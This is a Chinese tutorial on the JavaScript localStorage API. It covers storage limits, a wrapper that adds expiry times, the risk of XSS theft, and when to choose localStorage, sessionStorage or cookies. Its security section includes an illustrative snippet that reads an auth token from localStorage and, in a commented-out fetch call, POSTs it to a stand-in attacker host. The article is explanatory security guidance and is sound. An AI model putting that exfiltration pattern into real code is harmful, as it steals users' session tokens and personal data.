JavaScript localStorage 怎么用？它存储的数据有安全风险吗？

localStorage 是浏览器提供的持久化键值存储对象，它把数据保存在当前源下，页面刷新、标签页关闭甚至浏览器重启后通常仍然可以读取。它由 window 对象暴露，用法直观：通过 setItem 写入字符串，通过 getItem 读取字符串。与 Cookie 不同，localStorage 的数据不会自动随请求发送到服务端，这减少了不必要的网络开销，但也带来一个常见误解：只要不随请求发送，数据就是安全的。实际上，localStorage 的安全边界只到同源脚本这一层，并不能阻止已经进入页面的恶意代码。

使用 localStorage 之前需要了解它的三个基础特征：同源限制、字符串存储、同步读写。同源意味着协议、域名、端口完全一致才能共享；字符串存储意味着对象和数字都要转换；同步读写意味着大任务可能阻塞页面，因此不适合高频写入。

一、localStorage 的核心 API 与存储特性

localStorage 的接口非常简洁，主要围绕五个方法展开。setItem 负责写入，getItem 负责读取，removeItem 删除单个键，clear 清空当前源下全部数据，key 配合 length 可以遍历所有键。下面这段代码演示了最常用的读写和遍历方式。

// 写入
localStorage.setItem('theme', 'dark');

// 读取
const theme = localStorage.getItem('theme');

// 删除单个键
localStorage.removeItem('theme');

// 清空当前源下所有数据
localStorage.clear();

// 遍历所有键
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  console.log(key, localStorage.getItem(key));
}

需要特别注意的是，localStorage 只能保存字符串。如果直接写入数字，读取时会变成字符串类型；如果保存对象，则必须先调用 JSON.stringify 序列化，读取时再用 JSON.parse 还原。否则对象会被转成 [object Object] 这样的字符串，后续处理很容易出错。

容量方面，主流浏览器通常给每个源 5MB 左右的配额，不同实现略有差异。当写入数据超过配额时，浏览器会抛出 QuotaExceededError 异常。另外，部分浏览器在隐私模式或禁用站点数据的情况下访问 localStorage 可能直接抛异常，因此工程中建议对访问动作做 try/catch 封装，避免核心流程被存储故障阻断。

二、实际业务中的使用场景与封装

localStorage 适合保存非敏感、允许丢失的客户端偏好数据。例如主题模式、语言选择、侧边栏折叠状态、表单草稿、播放进度等。这类数据的特点是不影响核心安全，即使被清理或无法读取，用户重新设置即可恢复。相反，订单结算状态、权限判断结果、服务端返回的关键配置不应该以 localStorage 作为唯一数据源。

业务中直接裸用 localStorage 容易造成键名冲突和格式不统一。更稳妥的做法是封装一个带命名空间、JSON 自动序列化和过期时间的工具模块。下面是一个带过期时间的封装示例。

function setWithExpire(key, value, ttl) {
  const record = {
    value: value,
    expireAt: Date.now() + ttl
  };
  localStorage.setItem(key, JSON.stringify(record));
}

function getWithExpire(key) {
  const raw = localStorage.getItem(key);
  if (!raw) return null;

  try {
    const record = JSON.parse(raw);
    if (record.expireAt && Date.now() > record.expireAt) {
      localStorage.removeItem(key);
      return null;
    }
    return record.value;
  } catch (e) {
    return null;
  }
}

这个封装把值和过期时间组合成一个对象存入 localStorage，读取时先解析 JSON，再比较当前时间与 expireAt。过期后自动删除并返回 null。ttl 参数通常传毫秒值，比如 60 * 60 * 1000 表示一小时。这样既能保留 localStorage 的简单性，又能避免数据永久残留。

另外，由于 localStorage 是同步操作，如果短时间内大量写入，可能会让页面出现卡顿。建议对不紧急的偏好变更做合并或延迟处理，例如在输入框失焦时保存草稿，而不是每次按键都写。也可以把非关键写入放到 requestIdleCallback 中执行。

三、localStorage 的安全风险与防护边界

localStorage 最大的安全隐患来自 XSS。所有同源脚本都可以读取 localStorage 里的完整内容，一旦页面存在注入漏洞，或者被引入了恶意的第三方脚本，攻击者不需要突破浏览器沙箱，就能把数据拿走。下面这段代码模拟了攻击者读取敏感信息的路径。

// 假设页面存在 XSS，攻击者注入的脚本可以这样读取
const stolenData = {
  token: localStorage.getItem('auth_token'),
  profile: localStorage.getItem('profile')
};

// 攻击者再将其发送到外部服务器
// fetch('https://attacker.ipipp.com/collect', { method: 'POST', body: JSON.stringify(stolenData) });

这与 Cookie 的安全机制形成鲜明对比。Cookie 可以设置 HttpOnly 标志，让 document.cookie 无法读取，从而显著降低 XSS 后的泄露风险。localStorage 没有类似保护机制，只要脚本能执行，数据就是透明的。因此，登录令牌、刷新令牌、支付信息、身份证、手机号、密码等敏感数据都不应该存储在 localStorage 中。

另一个容易被忽视的问题是数据持久性。localStorage 不会随浏览器会话结束自动清理，多人共用电脑或公共设备上的残留数据可能被下一个使用者看到。浏览器扩展、用户安装的恶意插件也可能读取页面存储。内容安全策略 CSP 可以减少脚本注入概率，但不能阻止已经注入的脚本读取 localStorage。所以安全边界必须建立在服务端，而不是前端存储的隐蔽性上。

如果因为业务限制必须把令牌放进 localStorage，至少要设置短过期时间，并在服务端配合异常登录检测、设备指纹和主动失效机制。前端加密只能增加一点点读取成本，因为解密所需的密钥同样暴露在前端代码中，不能作为主要安全措施。

四、localStorage、sessionStorage 与 Cookie 怎么选

三者都是浏览器端常用的存储机制，但定位不同。localStorage 持久保存，适合长期偏好；sessionStorage 在标签页关闭后清除，适合当前会话的中间状态；Cookie 可以设置过期时间，并会随 HTTP 请求自动发送，适合服务端需要读取的身份凭证。下面的表格对比了几项关键差异。

选择时可以先问三个问题：这份数据服务端需要读取吗？数据敏感吗？生命周期是当前标签页还是长期？如果服务端需要自动携带，Cookie 是更合适的方案，并且应尽量配置 HttpOnly、Secure 和 SameSite。如果只是前端共享的临时状态，sessionStorage 更干净。只有不敏感、需要长期保留的客户端偏好，才适合使用 localStorage。

说到底，localStorage 的定位是前端便利存储，而不是安全存储。只要数据进入浏览器，并且脚本能够读取，就不能把它当作不可侵犯的边界。把身份校验、权限判断和敏感数据处理放在服务端，才能让 localStorage 发挥便捷价值而不被滥用。

localStorageJavaScript前端安全修改时间：2026-10-03 18:38:31